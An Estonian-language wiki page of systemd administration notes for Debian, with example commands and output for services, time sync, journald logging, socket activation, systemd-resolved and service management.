 [Unit]&lt;br /&gt;
 Description=OpenBSD Secure Shell server&lt;br /&gt;
 After=network.target auditd.service&lt;br /&gt;
 ConditionPathExists=!/etc/ssh/sshd_not_to_be_run&lt;br /&gt;
 &lt;br /&gt;
 [Service]&lt;br /&gt;
 EnvironmentFile=-/etc/default/ssh&lt;br /&gt;
 ExecStart=/usr/sbin/sshd -D $SSHD_OPTS&lt;br /&gt;
 ExecReload=/bin/kill -HUP $MAINPID&lt;br /&gt;
 KillMode=process&lt;br /&gt;
 Restart=on-failure&lt;br /&gt;
 &lt;br /&gt;
 [Install]&lt;br /&gt;
 WantedBy=multi-user.target&lt;br /&gt;
 Alias=sshd.service&lt;br /&gt;
&lt;br /&gt;
Teenuste nimekirja esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl  list-units --type=service | head -n 5&lt;br /&gt;
   UNIT                                 LOAD   ACTIVE SUB     DESCRIPTION&lt;br /&gt;
   accounts-daemon.service              loaded active running Accounts Service&lt;br /&gt;
   acpid.service                        loaded active exited  LSB: Start the Advanced Configuration and Power Interface daemon&lt;br /&gt;
   amavis-mc.service                    loaded active exited  LSB: Startup script for amavis master supervisor&lt;br /&gt;
   amavis.service                       loaded active running LSB: Starts amavisd-new mailfilter&lt;br /&gt;
&lt;br /&gt;
Tundub, et teenus saab olla mitmes olekus, üks variant teenuseid on sellised, mis arvuti käivitamisel nö korraks töötavad midagi sisse lülitades ja siis teevad exit, nt&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-units --type=service --state=exited&lt;br /&gt;
 UNIT                             LOAD   ACTIVE SUB    DESCRIPTION&lt;br /&gt;
 getty-static.service             loaded active exited getty on tty2-tty6 if dbus and logind are not available&lt;br /&gt;
 kbd.service                      loaded active exited LSB: Prepare console&lt;br /&gt;
 keymap.service                   loaded active exited LSB: Set keymap&lt;br /&gt;
 modules_dep.service              loaded active exited LSB: modules.dep creation.&lt;br /&gt;
 netfilter-persistent.service     loaded active exited netfilter persistent configuration&lt;br /&gt;
 networking.service               loaded active exited LSB: Raise network interfaces.&lt;br /&gt;
 quota.service                    loaded active exited Check And Enable File System Quotas&lt;br /&gt;
 rc-local.service                 loaded active exited /etc/rc.local Compatibility&lt;br /&gt;
 systemd-random-seed.service      loaded active exited Load/Save Random Seed&lt;br /&gt;
&lt;br /&gt;
===systemd-timedated===&lt;br /&gt;
&lt;br /&gt;
timedatectl programmiga saab seadistada ajavööndit jms&lt;br /&gt;
&lt;br /&gt;
 # timedatectl list-timezones&lt;br /&gt;
 # timedatectl set-timezone Europe/Tallinn&lt;br /&gt;
&lt;br /&gt;
systemd-timedated on ntp klient, mis tuleb kasutamiseks sisse lülitada&lt;br /&gt;
&lt;br /&gt;
 # timedatectl set-ntp true&lt;br /&gt;
&lt;br /&gt;
Tundub, et samaväärne on öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable systemd-timesyncd&lt;br /&gt;
 # systemctl start systemd-timesyncd&lt;br /&gt;
&lt;br /&gt;
Töötamissel annab timedatactl saranase vastuse&lt;br /&gt;
&lt;br /&gt;
 # timedatectl status&lt;br /&gt;
       Local time: Fri 2015-07-31 01:21:26 EEST&lt;br /&gt;
   Universal time: Thu 2015-07-30 22:21:26 UTC&lt;br /&gt;
         RTC time: Thu 2015-07-30 22:21:26&lt;br /&gt;
        Time zone: Europe/Tallinn (EEST, +0300)&lt;br /&gt;
      NTP enabled: yes&lt;br /&gt;
 NTP synchronized: no&lt;br /&gt;
  RTC in local TZ: no&lt;br /&gt;
       DST active: yes&lt;br /&gt;
  Last DST change: DST began at&lt;br /&gt;
                   Sun 2015-03-29 02:59:59 EET&lt;br /&gt;
                   Sun 2015-03-29 04:00:00 EEST&lt;br /&gt;
  Next DST change: DST ends (the clock jumps one hour backwards) at&lt;br /&gt;
                   Sun 2015-10-25 03:59:59 EEST&lt;br /&gt;
                   Sun 2015-10-25 03:00:00 EET&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* valitud ajavööndi Daylight Saving Time algus ja lõpp&lt;br /&gt;
* kas NTP teenust töötab (systemd-timesyncd)&lt;br /&gt;
&lt;br /&gt;
Spetsiifilise NTP serveri kasutamiseks sobib näidata ta seadistusfailis /etc/systemd/timesyncd.conf&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/timesyncd.conf&lt;br /&gt;
 [Time]&lt;br /&gt;
 Servers=10.192.0.53&lt;br /&gt;
&lt;br /&gt;
ja muudatuse kehtestamiseks öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl restart systemd-timesyncd&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
 # systemctl status systemd-timesyncd&lt;br /&gt;
 ● systemd-timesyncd.service - Network Time Synchronization&lt;br /&gt;
    Loaded: loaded (/lib/systemd/system/systemd-timesyncd.service; enabled)&lt;br /&gt;
    Active: active (running) since Fri 2015-07-31 09:13:18 EEST; 1min 43s ago&lt;br /&gt;
      Docs: man:systemd-timesyncd.service(8)&lt;br /&gt;
  Main PID: 1179 (systemd-timesyn)&lt;br /&gt;
    Status: &amp;quot;Using Time Server 10.192.0.53:123 (10.192.0.53).&amp;quot;&lt;br /&gt;
    CGroup: /system.slice/systemd-timesyncd.service&lt;br /&gt;
            └─1179 /lib/systemd/systemd-timesyncd&lt;br /&gt;
 &lt;br /&gt;
 Jul 31 09:13:17 postkast systemd-timesyncd[1179]: Using NTP server 10.192.0.53:123 (10.192.0.53).&lt;br /&gt;
 Jul 31 09:13:18 postkast systemd-timesyncd[1179]: interval/delta/delay/jitter/drift 32s/+0.621s/0.000s/0.000s/+0ppm&lt;br /&gt;
 Jul 31 09:13:50 postkast systemd-timesyncd[1179]: interval/delta/delay/jitter/drift 64s/+0.000s/0.000s/0.000s/+0ppm&lt;br /&gt;
 Jul 31 09:14:54 postkast systemd-timesyncd[1179]: interval/delta/delay/jitter/drift 128s/-0.000s/0.000s/0.000s/+0ppm&lt;br /&gt;
&lt;br /&gt;
Taustal tegutseb lisaks systemd-timedated deemon, mis on static, st teda kutsutakse automaatselt vajadusel välja, st käivitatakse&lt;br /&gt;
&lt;br /&gt;
 # systemctl status systemd-timedated&lt;br /&gt;
 ● systemd-timedated.service - Time &amp;amp; Date Service&lt;br /&gt;
    Loaded: loaded (/lib/systemd/system/systemd-timedated.service; static)&lt;br /&gt;
    Active: inactive (dead)&lt;br /&gt;
      Docs: man:systemd-timedated.service(8)&lt;br /&gt;
            man:localtime(5)&lt;br /&gt;
            http://www.freedesktop.org/wiki/Software/systemd/timedated&lt;br /&gt;
&lt;br /&gt;
===Rakenduste kasutamine systemd keskkonnas===&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL kasutamine====&lt;br /&gt;
&lt;br /&gt;
Mitme PostgreSQL protsesside komplekti kasutamiseks sobib esmalt järgmise eksemplari osa failisüsteemis ettevalmistada nö tavalisel viisil&lt;br /&gt;
&lt;br /&gt;
 # pg_createcluster 9.4 test&lt;br /&gt;
&lt;br /&gt;
ning käivitada&lt;br /&gt;
&lt;br /&gt;
 # systemctl start postgresql@9.4-test&lt;br /&gt;
&lt;br /&gt;
Mitme PostgreSQL protsesside komplekti kasutamine paistab sedasi&lt;br /&gt;
&lt;br /&gt;
 # ps -U postgres -o pid,user,cgroup:150,args&lt;br /&gt;
   PID USER     CGROUP                                                                           COMMAND&lt;br /&gt;
 10064 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service /usr/lib/postgresql/9.4/bin/postgres -D /va ...&lt;br /&gt;
 10070 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: checkpointer process&lt;br /&gt;
 10072 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: writer process   &lt;br /&gt;
 10074 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: wal writer process   &lt;br /&gt;
 10076 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: autovacuum launcher process   &lt;br /&gt;
 10078 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-main.service postgres: stats collector process   &lt;br /&gt;
 &lt;br /&gt;
 10331 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service /usr/lib/postgresql/9.4/bin/postgres -D /var ...&lt;br /&gt;
 10333 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: checkpointer process   &lt;br /&gt;
 10334 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: writer process   &lt;br /&gt;
 10335 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: wal writer process   &lt;br /&gt;
 10336 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: autovacuum launcher process   &lt;br /&gt;
 10337 postgres 8:devices:/system.slice/system-postgresql.slice ... /postgresql@9.4-test.service postgres: stats collector process &lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* erinevate PostgreSQL protsessi kompilektide protsessid on sama süsteemi kasutaja postgres omad, aga kuuluvad erinevatesse kerneli CGROUP'idesse&lt;br /&gt;
&lt;br /&gt;
Tapmiseks nö -9 signaaliga&lt;br /&gt;
&lt;br /&gt;
 # systemctl kill -s SIGKILL postgresql@9.4-test.service&lt;br /&gt;
&lt;br /&gt;
====Samba====&lt;br /&gt;
&lt;br /&gt;
Teenuste seiskamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop smbd&lt;br /&gt;
 # systemctl stop nmbd&lt;br /&gt;
&lt;br /&gt;
kontrolliks&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep mb&lt;br /&gt;
&lt;br /&gt;
AD kasutamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl start samba-ad-dc&lt;br /&gt;
&lt;br /&gt;
====OpenVPN====&lt;br /&gt;
&lt;br /&gt;
Kui OpenVPN kliendi seadisus asub failis /etc/openvpn/client.conf, siis käivitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl start openvpn@client.service&lt;br /&gt;
&lt;br /&gt;
====Serial konsool====&lt;br /&gt;
&lt;br /&gt;
Serial konsooli käivitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable serial-getty@ttyS0.service&lt;br /&gt;
 Created symlink from /etc/systemd/system/getty.target.wants/serial-getty@ttyS0.service \&lt;br /&gt;
   to /lib/systemd/system/serial-getty@.service.&lt;br /&gt;
 &lt;br /&gt;
 # systemctl start serial-getty@ttyS0.service&lt;br /&gt;
&lt;br /&gt;
Tulemusena saab ipmitool, cu, minicom jt programmide abil pöörduda serial konsooli poole.&lt;br /&gt;
&lt;br /&gt;
====NUT====&lt;br /&gt;
&lt;br /&gt;
Tundub, et töötab, nt&lt;br /&gt;
&lt;br /&gt;
 # systemctl status nut-server&lt;br /&gt;
 # systemctl status nut-client&lt;br /&gt;
&lt;br /&gt;
====iptables====&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://www.auul.pri.ee/wiki/Iptables_kasutamine_Debianiga#iptables-persistant&lt;br /&gt;
&lt;br /&gt;
====rsyslog====&lt;br /&gt;
&lt;br /&gt;
Peatamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop syslog.socket rsyslog.service&lt;br /&gt;
&lt;br /&gt;
vastasel korral tuleb sõnum sisse ja rsyslog teenus käivitatakse automaatselt.&lt;br /&gt;
&lt;br /&gt;
====Varnish====&lt;br /&gt;
&lt;br /&gt;
Kuulava pordi muutmine failis&lt;br /&gt;
&lt;br /&gt;
 # grep ^ExecS /lib/systemd/system/varnish.service &lt;br /&gt;
 ExecStart=/usr/sbin/varnishd -j unix,user=vcache -F -a :80 -T localhost:6082 -f /etc/varnish/default.vcl -S /etc/varnish/secret -s malloc,256m&lt;br /&gt;
&lt;br /&gt;
Logimisel X-Forwarded-For kasutamiseks&lt;br /&gt;
&lt;br /&gt;
 # grep ^ExecS /lib/systemd/system/varnishncsa.service &lt;br /&gt;
 ExecStart=/usr/bin/varnishncsa -F '%%{X-Forwarded-For}i %%l %%u %%t \&amp;quot;%%r\&amp;quot; %%s %%b \&amp;quot;%%{Referer}i\&amp;quot; \&amp;quot;%%{User-agent}i\&amp;quot;' -a -w /var/log/varnish/varnishncsa.log&lt;br /&gt;
&lt;br /&gt;
Muudatuste kehtestamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reload&lt;br /&gt;
 # /etc/init.d/varnishncsa restart&lt;br /&gt;
 # /etc/init.d/varnish restart&lt;br /&gt;
&lt;br /&gt;
Logis on näha X-Forwarded-For päisest tulnud aadress ning tcp ühenduse teise otspunkti aadress&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# tail -f /var/log/varnish/varnishncsa.log&lt;br /&gt;
10.204.62.115, 10.184.39.42 - - [02/Oct/2017:17:20:24 +0300] &amp;quot;GET http://www.moraal.ee/ HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;Wget/1.17.1 (linux-gnu)&amp;quot;&lt;br /&gt;
10.204.62.115, 10.184.39.42 - - [02/Oct/2017:17:20:24 +0300] &amp;quot;GET http://www.moraal.ee/ HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;Wget/1.17.1 (linux-gnu)&amp;quot;&lt;br /&gt;
10.204.62.115, 10.184.39.42 - - [02/Oct/2017:17:20:24 +0300] &amp;quot;GET http://www.moraal.ee/ HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;Wget/1.17.1 (linux-gnu)&amp;quot;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Logimine===&lt;br /&gt;
&lt;br /&gt;
Systemd sisaldab logimise komponenti journald. &lt;br /&gt;
&lt;br /&gt;
====Süsteemi alglaadimine====&lt;br /&gt;
&lt;br /&gt;
Logimise haldusutiliit näitab vaikimisi kogu kogutud logi alates viimasest alglaadimisest, vanemad sissekanded eespool&lt;br /&gt;
&lt;br /&gt;
 # journalctl&lt;br /&gt;
 -- Logs begin at Mon 2015-07-27 23:03:45 EEST, end at Tue 2015-07-28 08:41:14 EEST. --&lt;br /&gt;
 Jul 27 23:03:45 systemd systemd-journal[171]: Runtime journal is using 4.0M (max allowed 9.3M, trying to leave 14.0M free of 89.7M available → current limit 9.3M).&lt;br /&gt;
 Jul 27 23:03:45 systemd systemd-journal[171]: Runtime journal is using 4.0M (max allowed 9.3M, trying to leave 14.0M free of 89.7M available → current limit 9.3M).&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Initializing cgroup subsys cpuset&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Initializing cgroup subsys cpu&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Initializing cgroup subsys cpuacct&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Linux version 4.0.0-2-amd64 (debian-kernel@lists.debian.org) (gcc version 4.9.3 (Debian 4.9.3-2) ) #1 SMP Debian 4.0.8-2 (2015-07-22)&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Command line: BOOT_IMAGE=/vmlinuz-4.0.0-2-amd64 root=/dev/mapper/systemd-root ro console=ttyS0,9600&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
journald töötamisest annab tunnistust protsess&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep journald&lt;br /&gt;
 ..&lt;br /&gt;
 root        172  0.1  1.0  35112  5208 ?        Ss   08:55   0:00 /lib/systemd/systemd-journald&lt;br /&gt;
&lt;br /&gt;
====Märkused====&lt;br /&gt;
&lt;br /&gt;
Tundub, et vahel võib The Journal seisma jääda (nt saab failisüsteem täis vms), see paistab sedasi ja midagi ei logita (nt logger protsessiga)&lt;br /&gt;
&lt;br /&gt;
 Mar 28 03:37:01 keskus systemd-journal[29787]: Journal stopped&lt;br /&gt;
 -- Subject: The Journal has been stopped&lt;br /&gt;
 -- Defined-By: systemd&lt;br /&gt;
 -- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl start systemd-journald&lt;br /&gt;
&lt;br /&gt;
 # journalctl -xn&lt;br /&gt;
 ...&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Session 81008 of user root.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Started Session 81008 of user root.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Journal Socket (/dev/log).&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Listening on Journal Socket (/dev/log).&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Journal Socket.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Listening on Journal Socket.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Journal Service...&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Started Journal Service.&lt;br /&gt;
 May 19 02:36:01 keskus systemd-journal[32447]: Journal started&lt;br /&gt;
 -- Subject: The Journal has been started&lt;br /&gt;
 -- Defined-By: systemd&lt;br /&gt;
 -- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel&lt;br /&gt;
 --&lt;br /&gt;
 -- The system journal process has been starting up, opened the journal&lt;br /&gt;
 -- files for writing and is now ready to process requests.&lt;br /&gt;
&lt;br /&gt;
====Apache veebiserver====&lt;br /&gt;
&lt;br /&gt;
Kui Apache seadistusfailis on viga, siis see paistab journald juurest välja selline&lt;br /&gt;
&lt;br /&gt;
 # journalctl -u apache2&lt;br /&gt;
 ..&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: Starting LSB: Apache2 web server...&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: Starting web server: apache2 failed!&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: The apache2 configtest failed. ... (warning).&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: Output of config test was:&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: AH00526: Syntax error on line 1 of /etc/apache2/sites-enabled/000-default.conf:&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: &amp;lt;VirtualHost&amp;gt; directive missing closing '&amp;gt;'&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: Action 'configtest' failed.&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: The Apache error log may have more information.&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: apache2.service: Control process exited, code=exited status=1&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: Failed to start LSB: Apache2 web server.&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: apache2.service: Unit entered failed state.&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: apache2.service: Failed with result 'exit-code'.&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* journald tegeleb apache2 protsessidega seotud nö süsteemse logiga, mitte http päringute logimisega&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://www.digitalocean.com/community/tutorials/how-to-use-journalctl-to-view-and-manipulate-systemd-logs&lt;br /&gt;
* http://0pointer.de/blog/projects/journalctl.html&lt;br /&gt;
&lt;br /&gt;
===targetite vahel liikumine===&lt;br /&gt;
&lt;br /&gt;
Nö init=/bin/bash keskkonda liikumiseks tuleb kasutada bootloaderis tuuma real parameetrit&lt;br /&gt;
&lt;br /&gt;
 systemd.unit=emergency.target&lt;br /&gt;
&lt;br /&gt;
tulemusena jõutakse (arvuti hostname on antud juhul systemd)&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 Welcome to Debian GNU/Linux stretch/sid!&lt;br /&gt;
 &lt;br /&gt;
 [260222.496889] systemd[1]: Set hostname to &amp;lt;systemd&amp;gt;.&lt;br /&gt;
 [  OK  ] Created slice Root Slice.&lt;br /&gt;
 [260223.089638] systemd[1]: Created slice Root Slice.&lt;br /&gt;
 [260223.096748] systemd[1]: Starting Root Slice.&lt;br /&gt;
 [  OK  ] Created slice System Slice.&lt;br /&gt;
 [260223.109289] systemd[1]: Created slice System Slice.&lt;br /&gt;
 [260223.115005] systemd[1]: Starting System Slice.&lt;br /&gt;
 [  OK  ] Started Emergency Shell.&lt;br /&gt;
 [260223.134133] systemd[1]: Started Emergency Shell.&lt;br /&gt;
 [260223.146296] systemd[1]: Starting Emergency Shell...&lt;br /&gt;
          Starting Emergency Shell...&lt;br /&gt;
 [  OK  ] Reached target Emergency Mode.&lt;br /&gt;
 [260223.192047] systemd[1]: Reached target Emergency Mode.&lt;br /&gt;
 [260223.205684] systemd[1]: Startup finished in 3.658s (kernel) + 967ms (userspace) = 4.626s.&lt;br /&gt;
 [260223.221455] systemd[1]: Starting Emergency Mode.&lt;br /&gt;
 [260223.232336] systemd[157]: emergency.service: Failed at step EXEC spawning /bin/plymouth: No such file or directory&lt;br /&gt;
 Welcome to emergency mode! After logging in, type &amp;quot;journalctl -xb&amp;quot; to view&lt;br /&gt;
 system logs, &amp;quot;systemctl reboot&amp;quot; to reboot, &amp;quot;systemctl default&amp;quot; or ^D to&lt;br /&gt;
 try again to boot into default mode.&lt;br /&gt;
 Give root password for maintenance&lt;br /&gt;
 (or press Control-D to continue): &amp;lt;root parool&amp;gt;&lt;br /&gt;
 root@systemd:~#&lt;br /&gt;
&lt;br /&gt;
Tavalisse nn multi-user režiimi jõudmiseks sobib öelda seejärel&lt;br /&gt;
&lt;br /&gt;
 # systemctl isolate multi-user.target&lt;br /&gt;
&lt;br /&gt;
Arvuti väljalülitamiseks sh toitest&lt;br /&gt;
&lt;br /&gt;
 # systemctl poweroff&lt;br /&gt;
&lt;br /&gt;
===systemd-socket-proxyd===&lt;br /&gt;
&lt;br /&gt;
systemd-ocket-proxyd võimaldab käivitada teenuse selle poole pöördumisel. Nt nginx protsessid käivitatakse port 80 poole pöördumisel. Selleks tuleb&lt;br /&gt;
&lt;br /&gt;
* seadistada nginx server kuulama port 8080&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/nginx/sites-available/default&lt;br /&gt;
 ..&lt;br /&gt;
 server {&lt;br /&gt;
        listen 8080 default_server;&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
* tekitada .service tüüpi unit (erinevalt man systemd-socket-proxyd soovitusest on JoinsNamespaceOf ja PrivateNetwork välja kommenteeritud ja lülitatud)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/system/proxy-to-nginx.service &lt;br /&gt;
 [Unit]&lt;br /&gt;
 Rquires=nginx.service&lt;br /&gt;
 After=nginx.service&lt;br /&gt;
 # JoinsNamespaceOf=nginx.service&lt;br /&gt;
&lt;br /&gt;
 [Service]&lt;br /&gt;
 ExecStart=/lib/systemd/systemd-socket-proxyd 127.0.0.1:8080&lt;br /&gt;
 PrivateTmp=yes&lt;br /&gt;
 PrivateNetwork=no&lt;br /&gt;
&lt;br /&gt;
* tekitada .socket tüüpi unit&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/system/proxy-to-nginx.socket &lt;br /&gt;
 [Socket]&lt;br /&gt;
 ListenStream=80&lt;br /&gt;
 &lt;br /&gt;
 [Install]&lt;br /&gt;
 WantedBy=sockets.target&lt;br /&gt;
&lt;br /&gt;
Seejärel tuleb sisse lülitada ja käivitada socket unit (nginx ise ega proxy-to-nginx.service ei pea töötama)&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable proxy-to-nginx.socket&lt;br /&gt;
 # systemctl start proxy-to-nginx.socket&lt;br /&gt;
&lt;br /&gt;
Tulemusena pöördudes aadressile http://127.0.0.1:80/ käivitatakse .service ja nginx protsessid.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://developer.atlassian.com/blog/2015/03/docker-systemd-socket-activation/&lt;br /&gt;
* man systemd-socket-proxyd&lt;br /&gt;
&lt;br /&gt;
===systemd-resolved===&lt;br /&gt;
&lt;br /&gt;
Paigaldada pakett libnss-resolve&lt;br /&gt;
&lt;br /&gt;
 # apt-get install libnss-resolve&lt;br /&gt;
&lt;br /&gt;
Kirjeldada meelepärane nö ISP nimeserver&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/resolved.conf&lt;br /&gt;
 &lt;br /&gt;
 [Resolve]&lt;br /&gt;
 DNS=10.192.0.53&lt;br /&gt;
&lt;br /&gt;
Lülitada sisse systemd-resolved&lt;br /&gt;
&lt;br /&gt;
 # systemctl start systemd-resolved&lt;br /&gt;
 # systemctl enable systemd-resolved&lt;br /&gt;
&lt;br /&gt;
Testida systemd-resolved rekursiivse nimeserveri töötamist&lt;br /&gt;
&lt;br /&gt;
 # /lib/systemd/systemd-resolve-host kuutorvaja.eenet.ee&lt;br /&gt;
 kuutorvaja.eenet.ee: 193.40.0.7&lt;br /&gt;
 &lt;br /&gt;
 -- Information acquired via protocol DNS in 157.3ms.&lt;br /&gt;
&lt;br /&gt;
Kustutada fail /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 # rm /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
Kasutada failis /etc/nsswitch.conf rida&lt;br /&gt;
&lt;br /&gt;
 hosts:          files resolve dns&lt;br /&gt;
&lt;br /&gt;
Soovi korral&lt;br /&gt;
&lt;br /&gt;
 # ln -fs /run/systemd/resolve/resolv.conf /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
Debugi sisselülitamine&lt;br /&gt;
&lt;br /&gt;
 # cp /lib/systemd/system/systemd-resolved.service /etc/systemd/system&lt;br /&gt;
&lt;br /&gt;
kus on sektsioonis Service lisatud debug&lt;br /&gt;
&lt;br /&gt;
 [Service]&lt;br /&gt;
 &lt;br /&gt;
 ..&lt;br /&gt;
 Environment=SYSTEMD_LOG_LEVEL=debug&lt;br /&gt;
&lt;br /&gt;
dns cache jms logisse kirjutamiseks&lt;br /&gt;
&lt;br /&gt;
 # kill -SIGUSR1 PID&lt;br /&gt;
&lt;br /&gt;
Tulemuse esitamine&lt;br /&gt;
&lt;br /&gt;
 # systemd-resolve --status&lt;br /&gt;
&lt;br /&gt;
Logi jälgimine &lt;br /&gt;
&lt;br /&gt;
 # journalctl -f -u systemd-resolved&lt;br /&gt;
&lt;br /&gt;
===localectl===&lt;br /&gt;
&lt;br /&gt;
 # localectl list-locales&lt;br /&gt;
 C.UTF-8&lt;br /&gt;
 en_US.utf8&lt;br /&gt;
&lt;br /&gt;
===Service haldamine===&lt;br /&gt;
&lt;br /&gt;
Käivitamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl start apache2&lt;br /&gt;
&lt;br /&gt;
Oleku küsimine&lt;br /&gt;
&lt;br /&gt;
 # systemctl status apache2&lt;br /&gt;
&lt;br /&gt;
Seiskamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop apache2&lt;br /&gt;
&lt;br /&gt;
Väljalülitamine, st selliselt seadistatud teenust ei käivitata automaatselt (süsteemi alglaadimisel, mingi event esinemisel vms), aga käsitsi start abil saab käivitada&lt;br /&gt;
&lt;br /&gt;
 # systemctl disable apache2&lt;br /&gt;
&lt;br /&gt;
Sisselülitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable apache2&lt;br /&gt;
&lt;br /&gt;
Maskeerimine, selliselt seadistatud teenust ei saa üldse käivitada&lt;br /&gt;
&lt;br /&gt;
 # systemctl mask apache2&lt;br /&gt;
&lt;br /&gt;
Maskeerimise väljalülitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl unmask apache2&lt;br /&gt;
&lt;br /&gt;
Kõigi service'ite nimekirja küsimine (töötavate küsimiseks jätta -a ära; sarnaselt saab küsida target, socket, mount)&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-units --type service -a&lt;br /&gt;
&lt;br /&gt;
Kõigi failide nimekirja küsimine&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-unit-files --type=service&lt;br /&gt;
&lt;br /&gt;
systemd seadistustes tehtud muudatuste esitamine&lt;br /&gt;
&lt;br /&gt;
 # systemd-delta&lt;br /&gt;
&lt;br /&gt;
Sõltuvuste nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-dependencies sshd.service&lt;br /&gt;
&lt;br /&gt;
Teenuse omaduste esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl show sshd.service&lt;br /&gt;
&lt;br /&gt;
Unitite seadistusfailidega töötamiseks sobib öelda (vastavalt redigeeritakse /etc/systemd/system/nginx.service, /etc/systemd/system/nginx.service.d/failinimi või esitatakse faili sisu)&lt;br /&gt;
&lt;br /&gt;
 # systemctl edit --full nginx.service&lt;br /&gt;
 # systemctl edit nginx.service&lt;br /&gt;
 # systemctl cat nginx.service&lt;br /&gt;
&lt;br /&gt;
===systemd-networkd===&lt;br /&gt;
&lt;br /&gt;
systemd-networkd tegeleb võrgu seadistamisega. Nt nspawn konteinerile saab võrgu seadistada selliselt&lt;br /&gt;
&lt;br /&gt;
* seadistada konteinerit hostiva arvuti võrguühendus nt bridge-utils bridge abil&lt;br /&gt;
&lt;br /&gt;
* tekitada konteinerisse seadistusfail (kui arvutis on mitu võrguliidest, siis võiks iga liidese jaoks olla oma fail)&lt;br /&gt;
&lt;br /&gt;
